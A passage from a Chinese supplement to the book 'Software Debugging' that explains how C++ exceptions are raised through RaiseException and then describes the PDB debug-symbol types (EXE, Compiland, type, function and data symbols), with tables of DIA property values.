CXX_FRAME_MAGIC; 6 args[1] = (DWORD)object; 7 args[2] = (DWORD)type; RaiseException( CXX_EXCEPTION, EH_NONCONTINUABLE, 3, args ); 8 } 显而易见,_CxxThrowException 函数内部先将一个常量(CXX_FRAME_ MAGIC)、 要抛出的对象和描述异常的 cxx_exception_type 类型放入一个数组中,然后便调用 RaiseException API,调用时将异常代码指定为常量 CXX_EXCEPTION,即 0xe06d7363, 对应的 ASCII 代码为.msc,因此,使用 throw 关键字抛出的异常都具有这个异常代码。另 一点值得注意的是,在 RaiseException 的第二个参数中指定了 EH_NONCONTINUABLE 标志,这意味着 C++异常是不可以恢复继续执行的。 RaiseException API 是由 Kernel32.DLL 输 出的 一 个标准 API, 它内 部会 调用 RtlRaiseException,产 生一 个 EXCEPTION_RECORD 结构,并将 args 数组 放入到 EXCEPTION_RECORD 结构的 ExceptionInformation 字段中作为异常记录的额外信 息,然后便调用 NtRaiseExcaption 系统服务,进入内核态。到内核态后,其分发和处理流 程就与 CPU 产生的硬件异常基本一致了。在分发的过程中,可以从异常代码及 EXCEPTION_RECORD 结构的 ExceptionInformation 字段中识别出一个异常是否是 C++异常: 《软件调试》补编 - 37 – Copyright © 2009 ADVDBG.ORG All Rights Reserved ExceptionInformation[0] 字 段 总 是 等 于 常 量 CXX_FRAME_MAGIC , 即 0x19930520。 ExceptionInformation[1]字段是 throw 语句所抛出的异常对象的地址。 ExceptionInformation[2]字段是 throw 语 句所 抛出的异常 对象的 类型 指针 (cxx_exception_type 结构)。 归纳一下,throw 语句会将要抛出的 C++对象复制到一个临时对象中,然后将指向这 个临时对象的指针和描述该对象类型的 cxx_exception_type 指针作为参数来调用 _CxxThrowException 函 数 。 在 分 发 异 常 时 异 常 分 发 函 数 会 从 异 常 的 额 外 信 息 ExceptionInformation[2]中取出对象类型信息以寻找匹配的 Catch 块,找到后先执行 栈展开,然后将 ExceptionInformation[1]中取出异常对象指针并将其复制给 Catch 块 声明表达式中的变量(e),而后调用 Catch 块中的处理代码,当 Catch 块中的代码执行后, throw 语句抛出的临时对象会被析构。从这个分析我们知道,执行 Catch 块的方法与执行 except 块是有很大不同的,except 块是不返回的,因此异常分发函数是在做好所有分发和 清理工作后执行 except 块,except 块中的代码执行好后便自然的执行它后面的代码了(参 见清单 24-10),而 Catch 块中的代码执行好后它会返回到异常分发函数中。 《软件调试》补编 - 38 – Copyright © 2009 ADVDBG.ORG All Rights Reserved 补编内容 补编内容 补编内容 补编内容 5 调试符号详解 调试符号详解 调试符号详解 调试符号详解 补编说明: 这一部分内容本来属于《软件调试》第 25 章的后半部分,讲的是调试符号, 根据符号的类型(Tag),逐一介绍每一种符号,包括符号的属性和示例。 写作这一内容时,我觉得这部分内容对于深刻理解软件调试和调试器的工作 原理是非常有帮助的,可以解除很多疑惑。 但是在最后一轮压缩篇幅时,因为这部分内容相对独立,砍起来效果比较 明显,于是就删除了。 本节(25.8 节,即正式出版的最后一节)介绍了符号文件中的 5 种数据表,以及表中 所保存的数据对象。其中最重要是符号表,包含的记录也最多,从下一节开始,我们将分 几节介绍符号表中的各种符号。 25.9 EXE 和 Compiland 符号 本节将介绍描述可执行文件的 SymTagExe 符号和描述编译素材(Compiland)的 SymTagCompiland、SymTagCompilandEnv、SymTagCompilandDetail 符号。 25.9.1 SymTagExe[1] 每个 PDB 文件都会包含一个 SymTagExe 类型的符号,简称 EXE 符号。EXE 符号用 来描述这个 PDB 文件所对应的可执行文件(EXE、DLL、SYS 等)的信息,它是文件内 所 有 其 他 符 号 的 祖 先 , 也 是 唯 一 没 有 父 符 号 的 符 号 。 调 用 IDiaSession 接 口 的 get_globalScope 方 法 可 以 得 到 EXE 符 号 的 IDiaSymbol 指 针 。 表 25-12 显 示 了 NameDeco.PDB(VC6 产生的调试版本符号文件)文件的 EXE 符号的各个属性值。 表 25-12 NameDeco.PDB 文件的 SymTagExe 符号 方法/属性 值 get_age 0 get_guid {45DD54E4-0000-0000-0000-000000000000} get_isCTypes 0 get_isStripped 0 《软件调试》补编 - 39 – Copyright © 2009 ADVDBG.ORG All Rights Reserved 续表 方法/属性 值 get_machineType 0 get_name NameDeco get_signature 1172133092 get_symbolsFileName C:\...\code\chap25\NameDeco\Debug\NameDeco.pdb 表中第一列是 IDiaSymbol 接口的方法名,代表了 EXE 符号的一种属性,第二列是 通过调用这个方法读取到的属性值。以下是对各个属性的解释说明。 年龄(Age)属性代表了这个 PDB 文件自创建以来的版本序号。因为 PDB 文件是支 持递增或部分修改的,所以如果没有做过 Clean 或者 Rebuild All,大多时候 VC 都是 在现有的 PDB 文件基础上做修改。另外,当我们在 VC 的集成环境中调试时,我们 可以对被调试的程序作一些小的改动然后继续调试(即所谓的 Edit and Continue,简 称 EnC),这时,VC 只是编译受影响的模块,并对 PDB 文件作局部更新。每次更新 PDB 后,Age 属性会被递增 1。 GUID 属性用来代表一个符号文件的全局 ID。每创建一个新的 PDB 文件时(如 Rebuild All),链接器会生成一个新的 GUID 给该文件。因此同一个项目不同版本的 PDB 文件, 其 GUID 可能是不同的。VC6 产生的符号文件不包含真正的 GUID,所以返回的是利 用时间戳(Time Stamp)模拟生成的,其中的 45DD54E4 是下面的 Signature 值 1172133092 的十六进制。 isCTypes 用来说明这个符号文件是否包含 C(语言)类型。 isStripped 表示是否从这个文件剥离出了私有符号。 MachineType 表示符号文件以及它对应的可执行文件的 CPU 类型。枚举类型 CV_CPU_TYPE_e 定义了各种 CPU 类型,0 表示英特尔的 8080 CPU。 Name 属性是符号文件的主文件名(不含后缀),通常这也是符号文件所对应的目标文 件的名称。 Signature 属性是 PDB 文件创建时的时间戳。因此它的稳定性与 GUID 属性是一致的, EnC 时 不 会 改 变 , 但 是 Rebuild All 时 会 改 变 。 使 用 Sig2Time 小 程 序 (code\chap25\Sig2Time)可以把 Signature 中的数值转换为时间,如 1172133092 对应 的时间是 2007 年 2 月 22 日 11:31:32。 symbolsFileName 属性是当前 PDB 文件的完整路径。 调试器通常使用 GUID 值和 Age 值共同来标识一个符号文件,并以此为依据来寻找与 一个可执行文件相匹配的符号文件。对于不包含 GUID 的符号文件会使用 Signature 来产 生一个 GUID。WinDBG 的符号管理器也是使用这两个值的组合作为子目录名来存储同一 个可执行文件的多个符号文件的。以 Beep.sys 为例,它的多个 PDB 文件是以如下规则存 放在多个子目录中的: beep.pdb\GUID+Age\beep.pdb 例如,以下是两个版本的 Beep.PDB 的完整路径: D:\symbols\beep.pdb\65DC45B439164E4C9DEFF20E161DC74C1\beep.pdb D:\symbols\beep.pdb\380E3FD31\beep.pdb 对于第一个,65DC45B439164E4C9DEFF20E161DC74C 来自于该符号文件的 GUID 值,紧跟其后的 1 是 Age 属性的值。第二个应该是较早的编译器产生的符号文件,380E3FD3 应该是 Signature 值,使用 Sig2Time 程序可以将其转换为时间:Thu Oct 21 02:18:59 1999。 《软件调试》补编 - 40 – Copyright © 2009 ADVDBG.ORG All Rights Reserved 25.9.2 SymTagCompiland[2] Compiland 是编译方面的一个术语,用来泛指编译过程中所使用的用来产生目标文件 的各种“素材”文件。包括各种源程序文件(.c、cpp、.rc 等)、中间目标文件(.obj、.res 等)和依赖的库文件(.lib、.dll 等)。举例来说,以下是驱动程序 Beep.PDB 中所描述的 5 个 Compiland: {Compiland}[1]obj\i386\beep.obj(0) {Compiland}[2]obj\i386\beep.res(0) {Compiland}[3]ntoskrnl.exe(0) {Compiland}[4]HAL.dll(0) {Compiland}[5]* Linker *(0) 其中方括号中的数字是这个 Compiland 的 ID,圆扩号中的数字是这个 Compiland 的子 符号的数目,因为这是个 Free 版本的公开符号文件,所以这些 Compiland 都没有子符号 (扩号中都是 0)。表 25-13 列出了通过调用 IDiaSymbol 接口的方法(第 1 列)读取到的 Compiland 符号的属性。 表 25-13 Compiland 符号示例 方法/属性 值 get_editAndContinueEnabled 1 get_lexicalParentId 1224 get_libraryName c:\dig\dbg\author\code\chap25\HiWorld\debug\BaseClass.obj get_name .\BaseClass.cpp get_sourceFileName 0 因为调试符号是以关系数据库所惯用的表格形式存储的,所以从存储结构上来看,各 个符号之间都是并列(平行)关系。但是为了体现出符号之间的附属和关联关系,除了 EXE 符号外,其他每个符号都有一个父词条 ID(Lexical Parent ID)属性,用来标识这个 符号的词典编撰意义上的“父”符号。有了父词条 ID,本来平行存储的各个符号在逻辑 上便有了父子关系,形成逻辑上的树状结构,根节点是 EXE 符号,其下一代便是很多个 Compiland 符号,每个 Compiland 符号又有很多子符号(见图 25-12)。为了节约篇幅,下 文列出的符号属性中大多省略了父词条 ID 属性。 从图 25-12 中可以看到,每个 Compiland 符号下又包含了很多个子符号,比如描述环 境信息的 SymTagCompilandEnv 符号,描述函数的函数符号等。 图 25-12 PDB 符号的树形逻辑结构 25.9.3 SymTagCompilandEnv[4] SymTagCompilandEnv 类型的符号用来描述它所属的 Compiland 符号的环境信息。比 《软件调试》补编 - 41 – Copyright © 2009 ADVDBG.ORG All Rights Reserved 如图 25-12 中的 BaseClass.obj 符号有 6 个 SymTagCompilandEnv 类型的子符号,分别描述 这个 Compiland 的某一方面信息。以下是常见 CompilandEnv 符号的名称、用途和典型值: Obj 环境串,目标文件信息。Obj 和 res 类型的 Compiland 通常有一个 obj 环境串, Dll 类型的 Compiland 通常有很多个。比如 BaseClass.obj 有一个 obj 环境串,其值为目标 文件的全路径。 Cwd 环境串,当前工作目录(Current Working Directory)。比如 BaseClass.obj 的 Cwd 环境串的值为 c:\...\chap25\HiWorld,即项目目录。 Cl 环境串,编译器的推动器程序(Compiler Driver,参见 20.3.2 节)的文件名称和路 径,通常只有 C/C++源文件的 Compiland 才有这个子符号,比如 BaseClass.obj 的 Cl 环境 串为 C:\Program Files\Microsoft Visual Studio 8\VC\bin\cl.exe。 Cmd 环境串,编译选项,即编译所属的 Compiland 时使用的参数,比如 BaseClass.obj 的 Cmd 环境串为 -Od -DWIN32 -D_DEBUG -D_WINDOWS -D_UNICODE -DUNICODE -Gm-EHs-EHc-RTC1-MDd-Yustdafx.h-Fpc:\...\chap25\HiWorld\Debug\HiWorld.pch-Foc:\...\cha p25\HiWorld\Debug\-Fdc:\...\chap25\HiWorld\Debug\vc80.pdb-W3-c Src 环境串,源程序文件。如 BaseClass.obj 的 Src 环境串为.\BaseClass.cpp。 Pdb 环境串,VCx0 符号文件。VCx0 符号文件是在 VC 集成环境中调试时所使用的符 号文件,x 是 VC 编译器的主版本号。如 BaseClass.obj 的 Pdb 环境串为 c:\dig\...\ Debug\vc80.pdb。 CompilandEnv 符号通常没有子符号。 25.9.4 SymCompilandDetail[3] SymTagCompilandDetail 类型的符号用来描述它所属的 Compiland 符号的详细信息, 包括相关的编译器和链接器名称版本等。表 25-14 显示了用来描述 BaseClass.obj 的 CompilandDetail 符号的各个属性。 表 25-14 SymTagCompilandDetail 类型的符号示例 方法/属性 值 简介 get_backEndBuild 50727 编译器后端的 Build 号 get_backEndMajor 14 编译器后端的主版本号 get_backEndMinor 0 编译器后端的小版本号 get_compilerName Microsoft (R) Optimizing Compiler 编译器名称 get_editAndContinueEnabled 1 是否启用 EnC get_frontEndBuild 50727 编译器前端的 Build 号 get_frontEndMajor 14 编译器前端的主版本号 get_frontEndMinor 0 编译器前端的小版本号 get_hasDebugInfo 1 是否包含调试信息 get_hasManagedCode 0 是否包含托管代码 get_hasSecurityChecks 1 是否使用/GS 编译 get_isCVTCIL 0 是否从公共中间语言(CIL)转化而来 get_isDataAligned 1 用户定义数据类型(UDT)是否内存对齐 get_isHotpatchable 0 是否使用/hotpatch 编译 get_isMSILNetmodule 0 是否包含微软中间语言的.Net 模块 get_language CPP[1] 源程序语言,1 代表 C++ get_platform Pentium III[7] 编译时选择的目标平台(CPU) 对于 DLL 类型的 Compiland,它的 CompilandDetail 符号的语言属性为 LINK, CompilerName 属性为链接器的名字,如: Microsoft (R) LINK。SymTagCompiland- Detail 《软件调试》补编 - 42 – Copyright © 2009 ADVDBG.ORG All Rights Reserved 类型的符号通常没有名称,也没有子符号。 25.10 类型符号 本节将介绍 PDB 文件中用于描述数据类型的各种符号。首先从描述基本数据类型的 SymTagBaseType 开始。 25.10.1 SymTagBaseType[16] SymTagBaseType 符号用来描述程序语言定义的基本数据类型。CVCONST.H 中的 BasicType 枚举类型定义了用来表示基本类型的各个常量。 enum BasicType{ btNoType = 0, btVoid = 1, btChar = 2, btWChar = 3, btInt = 6, btUInt = 7, btFloat = 8, btBCD = 9, btBool = 10, btLong = 13, btULong = 14, btCurrency = 25, btDate = 26, btVariant = 27, btComplex = 28, btBit = 29, btBSTR = 30, btHresult = 31}; 除了符号 ID 和类型外,每个 SymBaseType 符号通常还有以下几种属性。 Base Type:即基本类型,值为 BasicType 枚举常量中的一个。 Length:数据类型的长度,例如 void 类型的长度为 0。 父词条 ID(lexicalParentId):通常为所在符号文件的 EXE 符号的 ID。 内存对齐(UnalignedType):该类型是否内存对齐。 是否常量(ConstType):即声明该类型时是否将其声明为常数(constant)。 易变性(VolatileType):即声明该类型时是否附加了 volatile 关键字。 对于一种基本类型,符号文件中可能包含多个符号,对应不同的内存特征(const/ volatile)。使用 SymView 工具打开 HiWorld_RES.PDB,左侧选择 SymTag 页,然后选中 BaseType[16]条目,便可以看到这个文件中所包含的基本类型符号。使用这种方法也可以 观察其他类型的符号。 25.10.2 SymTagUDT[11] SymTagUDT 符号用来描述用户(程序员)定义的数据类型(User Defined Type),包括 结构、类和联合。数组和枚举类型分别由 SymTagArrayType 和 SymTagEnum 来描述。 一个 SymTagUDT 符号通常会有多个子符号,每个子符号描述它的一个成员或者方法, SymTagUDT 符号本身用来描述 UDT 的概括性信息。表 25-15 列出了描述 tagPOINT 结构 和 CBaseClass 类的 UDT 符号的各种属性值和简单说明。 表 23-15 UDT 符号示例 属性 tagPOINT CBaseClass 说明 get_constructor 0 1 是否有构造函数或析构函数 get_constType 0 0 是否定义为 const get_hasAssignmentOperator 0 1 是否有赋值运算符 get_hasCastOperator 0 0 是否有类型转换(cast)运算符 get_hasNestedTypes 0 1 是否包含嵌套类型 get_length 0x8 0x21c 长度(字节数) get_name tagPOINT CBaseClass 名称 get_nested 0 0 该类型是否是嵌套类型 get_overloadedOperator 0 0 是否有运算符重载 get_packed 0 0 是否被紧缩(成员紧密相连*) 《软件调试》补编 - 43 – Copyright © 2009 ADVDBG.ORG All Rights Reserved 属性 tagPOINT CBaseClass 说明 get_scoped 0 0 是否出现在非全局域 get_udtKind struct[0] class[1] UDT 子类 get_unalignedType 0 0 是否没有内存对齐 get_virtualTableShapeId 3295 4382 虚表符号的 ID get_volatileType 0 0 是否定义为 volatile *编译器默认会为结构中的每个成员进行自动的内存对齐,以提高内存访问效率。因为内存对齐,不同的成员间可能有 一定的空隙。所谓紧缩就是在定义类型时通过#pragma pack 告诉编译器不要自动内存对齐,使各成员紧密相连。 知道了一个 UDT 符号的 ID 后,可以使用 IDiaSession 接口的 findChildren 方法 寻找它的子符号,以便找到它的成员和方法。例如符号 tagPOINT 符号的子符号有 2 个, 如表 25-16 所示。 表 25-16 tagPOINT 符号的子符号 ID 偏 移 名 称 可访问性 SymTag DataKind 位置类型 父词条 类型 ID 3298 0 x Public[3] Data[7] Member[7] ThisRel[4] 1226 3299 3300 4 y Public[3] Data[7] Member[7] ThisRel[4] 1226 3299 最后一列的类型 ID(#3299)代表描述这个成员类型的符号 ID。寻找该符号,是一个 long 类型的基本类型符号,这正好与 tagPOINT 结构的成员类型相符。值得说明的是,这 两个子符号的父词条 ID 并不是 tagPOINT 符号的 ID(#1276),而是 EXE 符号的 ID。这 是因为,PDB 文件中除了有词典编撰意义上的父子关系外,还有类型角度的父子关系, findChildren 方法寻找的是类型定义角度的子符号。 类似的,表 25-17 是使用 findChildren 方法搜索到的 CBaseClass 符号(#3291)的 子符号。其中,#3301 和#3303 是 CBaseClass 类的虚拟方法表(VTable),#3304、#3306 和#3316 是 CBaseClass 的数据成员,其他是类的方法。 表 25-17 CBaseClass 符号的子符号(部分) ID 节 偏移 RVA 长度 名称 Tag 父词条 类型 3301 0 25 1226 3302 3303 0 25 1226 3302 3304 8 m_nPrivate 7 1226 3305 3306 12 m_szName 7 1226 3307 3308 CBaseClass 5 1226 3309 300 2 0x11550 0x43 CBaseClass::CBaseClass 5 292 3310 304 2 0x115a0 0x33 CBaseClass::~CBaseClass 5 292 3310 3311 Run 5 1226 3312 149 2 0x11cd0 0x30 CBaseClass::GetName 5 12 3314 3315 f 5 1226 3310 3316 532 __EventingCS 7 1226 3288 3322 operator= 5 1226 3323 3324 __vecDelDtor 5 1226 3325 父词条列中的 292 和 12 都是 Compiland 符号,分别是 BaseClass.obj 和 HiWorld.obj。 SymTag 列中的 25、7 和 5 分别代表 VTable 符号、数据类符号和函数类符号,我们将在后 面作详细介绍。 25.10.3 SymTagBaseClass[18] SymTagBaseClass符号用来描述派生类所属的基类。例如在HiWorld项目中,CClassFoo 是从 CBaseClass 派生而来的。 class CClassFoo : public CBaseClass 为了描述这一继承关系,CClassFoo 符号(UDT)会有一个 SymTagBaseClass 类型的 《软件调试》补编 - 44 – Copyright © 2009 ADVDBG.ORG All Rights Reserved 子符号。表 25-18 列出了这个符号的属性。 表 25-18 描述基类信息的 BaseClass 符号 属性 值 说明 get_access public[3] 继承关系的可访问性 get_constructor 1 有构造函数或析构函数 get_constType 0 无 Const 特征 get_hasAssignmentOperator 1 有赋值运算符 get_hasCastOperator 0 没有类型转换运算符 get_hasNestedTypes 1 有嵌套类型 get_indirectVirtualBaseClass 0 不是间接虚拟基类 get_length 0x21c 长度 get_name CBaseClass 名称 get_nested 0 不是嵌套类型 get_offset 0 该基类的子对象的偏移 get_overloadedOperator 0 没有重载运算符 get_packed 0 没有被紧缩 get_scoped 0 没有出现在非全局域 get_typeId 2912 类型 ID get_udtKind class[1] UDT 类型 get_unalignedType 0 不是内存未对齐类型 get_virtualBaseClass 0 不是虚拟基类 get_virtualTableShapeId 4382 虚拟方法表形态符号的 ID get_volatileType 0 非 volatile 类型 值得说明的是,虚拟基类(Virtual Base Class)和虚拟类是两个不同的概念,尽管 CBaseClass 包含纯虚方法,是个虚拟类,但对 CClassFoo 来说,它并不是虚拟基类,因为 在声明继承关系时并没有指定 virtual 关键字。对于使用如下方法声明的 CClassNoo 类 来说,CBaseClass 才是它的虚拟基类。 class CClassNoo : virtual public CBaseClass 观察 CClassNoo 符号的基类子符号,可以看到 get_virtualBaseClass 方法返回 1。 并且可以得到如下属性:virtualBaseDispIndex,值为 1;virtualBasePointer- Offset,值为 4;virtualBaseTableType,值为 3338,即虚拟基类表的类型符号。 25.10.4 SymTagEnum[12] SymTagEnum 类 符 号 用 来 描 述 枚 举 类 型 ( enum )。 下 面 以 excpt.h 中 定 义 的 _EXCEPTION_DISPOSITION 枚举类型为例进行简要说明。使用 SymView 工具打开 HiWorld.PDB,然后在左侧的 SymTag 树视图中选择 Enum[12],SymView 便会列出这个 PDB 文件中的枚举类型符号,从中可以找到名为_EXCEPTION_DISPOSITION 的符号,其 Base Type 属性为 int[6],类型 ID(1227)指向的也是基本类型 int,其长度属性为 4,与 int 型相同,父词条 ID 指向的是 EXE 符号,其自身的符号 ID 为 1297。 使用 SymView 的搜索功能寻找 1297 符号的子符号(Symbols by Parent ID),可以搜 索到这个枚举类型的所有成员(见表 25-19)。 表 25-19 枚举类型的子符号 ID 名称 值 Data Kind Tag 父词条 类型 ID 3400 ExceptionContinueExecution 0 Constant[9] 7 1226 1227 3401 ExceptionContinueSearch 1 Constant[9] 7 1226 1227 3402 ExceptionNestedException 2 Constant[9] 7 1226 1227 《软件调试》补编 - 45 – Copyright © 2009 ADVDBG.ORG All Rights Reserved 3403 ExceptionCollidedUnwind 3 Constant[9] 7 1226 1227 SymTag 为 7,代表这些子符号都是数据类型的符号,Data Kind 为 9,代表是常量。 类型 ID 1227 指向的是 int 基本类型。 25.10.5 SymTagPointerType[14] SymTagPointerType 符号用来描述指针类型。例如,表 25-20 列出了无符号长整型指 针(PULONG)符号的各个属性。 表 25-20 指针类型符号 属性 值 描述 get_constType 0 是否为 constant get_length 0x4 长度 get_reference 0 是否是引用 get_type 5003 指向的类型,这里显示的是类型 ID get_typeId 5003 类型 ID get_unalignedType 0 是否未内存对齐 get_volatileType 0 是否为 volatile 其中 get_type 返回的符号描述就是基本类型 ULONG(unsigned long)。概言之,指 针符号本身所包含的信息很少,其中最重要的内容就是它所指向的类型的 ID,通过这个 ID 可以得到进一步的信息。 25.10.6 SymTagArrayType SymTagArrayType 符号用来描述数组类型。数组符号的信息描述方式与指针符号很类 似,其本身只是记录数组的概括性信息,其元素类型和索引类型都是由其他符号来描述的。 表 25-21 列出了描述全局数组变量(TCHAR szWindowClass[100])的数组类型符号的属性。 表 25-21 数组类型符号的属性 属性 值 描述 get_arrayIndexTypeId 4704 描述数组索引类型的符号 ID get_constType 0 是否为 const get_count 100 数组的元素个数 get_length 200 数组的长度,字节数 get_typeId 4283 描述数组元素类型的符号 ID get_unalignedType 0 是否未内存对齐 get_volatileType 0 是否为 volatile 符号 4283 描述的是基本数据类型 wchar_t。这个数组类型符号也可以用来描述同样 维数、类型和长度的其他数组变量。事实上在 HiWorld 程序中,另一个全局数组 szTitle (TCHAR szTitle[100])的声明和 szWindowClass 是一样的。所以这两个数据符号使用的 是类型符号。但数据符号是两个,因为它们的名称和内存位置不同。 25.10.7 SymTagTypedef[17] SymTagTypedef 类型的符号用来描述使用 typedef 关键字定义的类型别名。例如 NT_TIB 是_NT_TIB 的别名,INT 是 int 的别名,TEXTMETRICW 是 tagTEXTMETRICW 的别名,PINPUT 是指向 tagINPUT 结构的指针类型的别名等等。 Typedef 符号的名称属性就是 typedef 所定义的别名名称,Type ID 属性是描述原本类 《软件调试》补编 - 46 – Copyright © 2009 ADVDBG.ORG All Rights Reserved 型的符号 ID。 除了以上类型符号外,SymTagVTable 和 SymTagVTableShape 符号用来描述类的虚表, SymTagFriend 用来描述 C++中的友元信息,SymTagCustomType 符号用来描述编译器厂商定 制的与编译器相关的类型,SymTagDimension 用来描述 FORTRAN 数组的维度信息(上下 边界和维数——Rank),SymTagManagedType 符号用来描述使用 C#等语言开发的托管类型。 因为篇幅关系,我们就不一一介绍这些类型符号了。描述函数类型和参数类型的 SymTagFunctionType 和 SymTagFunctionArgType 将在下一节介绍。 25.11 函数符号 函数是软件的重要组成部分,也是软件调试的重要目标。本节将介绍描述函数类型的 SymTagFunctionType 符号、描述函数参数类型的 SymTagFunctionArgType 符号、描述函数 实 例 ( Instance ) 的 SymTagFunction 符 号 、 描 述 函 数 的 调 试 起 点 和 终 点 的 SymTagFunctionStart 和 SymTagFunctionEnd 符号,以及描述标号的 SymTagLabel 符号。 25.11.1 SymTagFunctionType[13] 函数类型(SymTagFunctionType)符号用来描述一个函数的原型,包括返回值类型、 调用协议和参数信息等,这些特征有时也被称为函数签名(Function Signature)。表 25-22 列出了 CBaseClass 类的 Setup 方法所使用的函数类型。 表 25-22 Setup 方法的函数类型符号 属性 值 说明 get_callingConvention CV_CALL_THISCALL[11] 调用协议,this 协议 get_classParentId 1257 所属类的类型符号,即 CBaseClass get_count 2 参数个数 get_objectPointerType 5704 对象指针(this)的类型符号 get_thisAdjust 0 this 指针调整值 get_typeId 3778 返回值的类型符号 Setup 方法的原型是:int Setup(LPCTSTR szName),也就是它只有一个参数,但是 我们知道调用类的(非静态)方法时总要隐含的传递 this 指针,因此尽管 Setup 方法的声 明中只有 1 个参数,但是在实际调用时,参数的个数是 2,所以上表中的参数个数是实际 调用参数的个数。 25.11.2 SymTagFunctionArgType[13] 如果一个函数的声明中包含参数,那么可以通过寻找它的函数类型符号的子符号找到 描述参数的参数类型符号,即 SymTagFunctionArgType 符号。例如使用 SymView 工具搜 索 Setup 函数符号(#3265)的子符号,可以找到一条结果,就是描述参数 szName 的符号, 它的主要属性如下: get_lexicalParentId 1255 父词条 ID,即 EXE 符号 get_symIndexId 3440 符号 ID get_typeId 1263 类型符号的 ID 其中的类型符号 ID(1263)代表是指针类型的符号,它的基本类是 wchar_t,这与参数 szName 的类型 LPCTSTR 完全匹配。 《软件调试》补编 - 47 – Copyright © 2009 ADVDBG.ORG All Rights Reserved 25.11.3 SymTagFunction [5] SymTagFunction 符号用来描述一个函数或者类方法实例。我们仍然以 CBaseClass 的 Setup 方法为例来进行介绍,表 25-23 给出了 Setup 函数符号的属性。 表 25-23 Setup 方法的函数符号 属性 值 说明 get_access public[3] 可访问性,public 方法 get_addressOffset 0x620 地址偏移 get_addressSection 2 所在的节 get_classParentId 3266 所属类的类型符号 ID get_customCallingConvention 0 没有使用定制的调用协议 get_farReturn 0 没有包含 far return get_hasAlloca 0 方法中没有调用 alloca* get_hasEH 0 没有使用非托管的异常处理 get_hasEHa 0 没有使用/EHa 编译 get_hasInlAsm 0 没有使用嵌入式汇编 get_hasLongJump 0 没有长跳转(long jump)** get_hasSecurityChecks 0 没有使用安全检查(cookie) get_hasSEH 0 没有使用结构化异常处理(SEH) get_hasSetJump 0 没有使用 setjump** get_InlSpec 0 没有被标记为 inline get_interruptReturn 0 是否包含中断返回指令,如 iret get_intro 1 是引入 virtual 的方法*** get_isNaked 0 是否具有 naked 属性,该属性告 诉编译器不要加入序言和结语 get_isStatic 0 不是静态方法 get_length 0xc3 函数的长度 get_lexicalParentId 316 父词条 ID,即 BaseClass.obj get_locationType static[1] 位置属性 get_name CBaseClass::Setup 名称 get_noInline 0 没有 noinline 标记 get_noReturn 0 没有 noreturn 标记 get_noStackOrdering 0 安全检查(GS)时可以栈定序 get_notReached 0 不具有“never reached”特征 get_optimizedCodeDebugInfo 0 不属于包含调试信息的优化代码 get_pure 0 不是纯虚函数 get_relativeVirtualAddress 71200 函数入口相对于模块起点的地址 get_typeId 1261 函数类型符号的 ID get_undecoratedName **** 未修饰过的名称 get_virtual 1 是虚函数 get_virtualAddress 0x11620 函数入口的虚拟地址 get_virtualBaseOffset 4 这个虚函数在虚函数表中的偏移 *alloca 是从栈上分配内存的 C 标准函数。 **setjump 可以把栈环境保存起来,以便以后可以使用 longjump 跳回到这个状态。Setjump 和 longjump 一起可以实现跨 函数的跳转。C 中的异常处理使用这种方法来执行异常处理和恢复代码。 ***如果父类和子类中都有相同的虚方法,那么最早将该方法声明为 virtual 的那个方法就是所谓的引入 virtual 的方法 (Introducing Virtual Function)。 ****内容为 public: virtual int __thiscall CBaseClass::Setup(wchar_t const *),使用 get_undecoratedNameEx 方法可以取得不 同形式的修饰名。 25.11.4 SymTagFunctionStart[21] SymTagFunctionStart 符号用来描述源代码调试时函数的可调试起点。举例来说,当我 们在源程序中对函数入口设置断点时,调试器实际上会把断点设置在函数序言之后的某一 位置上,FunctionStart 符号便是用来描述这一位置的。 《软件调试》补编 - 48 – Copyright © 2009 ADVDBG.ORG All Rights Reserved 通过 SymView 的 Compiland 视图,我们可以观察函数的 FunctionStart 符号,表 25-24 列出了 Setup 方法的 FunctionStart 符号的主要属性。 表 25-24 Setup 方法的 FunctionStart 符号 属性 值 说明 get_addressOffset 0x643 调试起点的偏移地址 get_addressSection 2 调试起点所在的节号 get_locationType static[1] 位置类型 get_relativeVirtualAddress 0x11643 调试起点相对于模块起点的地址 get_virtualAddress 0x11643 调试起点的虚拟地址 从上表可以看出,FunctionStart 符号所定义的位置是 0x11643,这与 VC2005 调试器 实际设置断点的位置(0x00411643)是一致的,因为我们使用 SymView 工具观察的值没 有算模块基地址。 25.11.5 SymTagFunctionEnd[22] 与 FunctionStart 符号的功能类似,SymTagFunctionEnd 符号用来描述源代码级调试时 函数的调试结束位置。还是以 Setup 方法为例,它的 FunctionEnd 符号所定义的偏移地址 是 0x6cd,对应的是设置返回值的下一条语句: 004116C8 mov eax,1 return TRUE; 004116CD pop edi FunctionStart 符号和 FunctionEnd 符号主要是供源代码级调试使用的,在汇编窗口调 试时可以把断点设置在起始点之前,也可以跟踪到截止点之后。 25.11.6 SymTagLabel[9] SymTagLabel 符号用来描述程序中的标号(Label)。因为标号实际上记录的就是某段 代码的地址,所以标号既可以是跳转语句的目标,也可以被当作函数来调用。表 25-25 列 出了一个典型标号符号的各种属性,这个符号描述的是 HiWorld 程序中的 TAG_EXIT 标 号,位于 LabelTest 函数中。 表 25-25 标号符号的属性 属性 值 说明 get_addressOffset 0xa019 节内偏移 get_addressSection 1 所属节 get_locationType static[1] 位置类型 get_name TAG_EXIT 名称 get_relativeVirtualAddress 0xb019 标号的 RVA get_virtualAddress 0xb019 标号的虚拟地址 其中的父词条 ID(#1786)代表的是所在函数的符号,因为这个标号是函数内标号。 对于函数外标号,父符号是它所在的 Compiland。 25.12 数据符号 数据符号(SymTagData[7])用来描述程序中的常量和各种变量,包括局部变量、全 局变量、类的成员和参数。我们先来看数据符号的公共属性,然后再分别介绍各种数据符 号。 《软件调试》补编 - 49 – Copyright © 2009 ADVDBG.ORG All Rights Reserved 25.12.1 公共属性 除了符号 ID 和 SymTag,数据符号通常还具有如下属性。 名称:即变量或常量的名称。 类型:用来描述变量类型的类型符号。 取值:常量的取值,该属性是一个 VARIANT 结构,可以表示各种类型的常量。对于 变量,应该从其存储空间(内存、栈或寄存器)读取它的值。 数据种类(Data Kind):数据的种类,其值为表 25-26 所列出的 DataKind 枚举常量之 一。 位置类型(Location Type):数据存放的位置类型,其值为表 25-27 所列出的 LocationType 枚举常量之一。 表 25-26 描述数据符号种类的 DataKind 枚举类型 常量 值 说明 DataIsUnknown 0 未知种类 DataIsLocal 1 局部变量 DataIsStaticLocal 2 静态局部变量 DataIsParam 3 参数 DataIsObjectPtr 4 对象指针,即 this 指针 DataIsFileStatic 5 文件作用域内(File-scoped)的静态变量 DataIsGlobal 6 全局变量 DataIsMember 7 成员变量 DataIsStaticMember 8 静态变量 DataIsConstant 9 常量 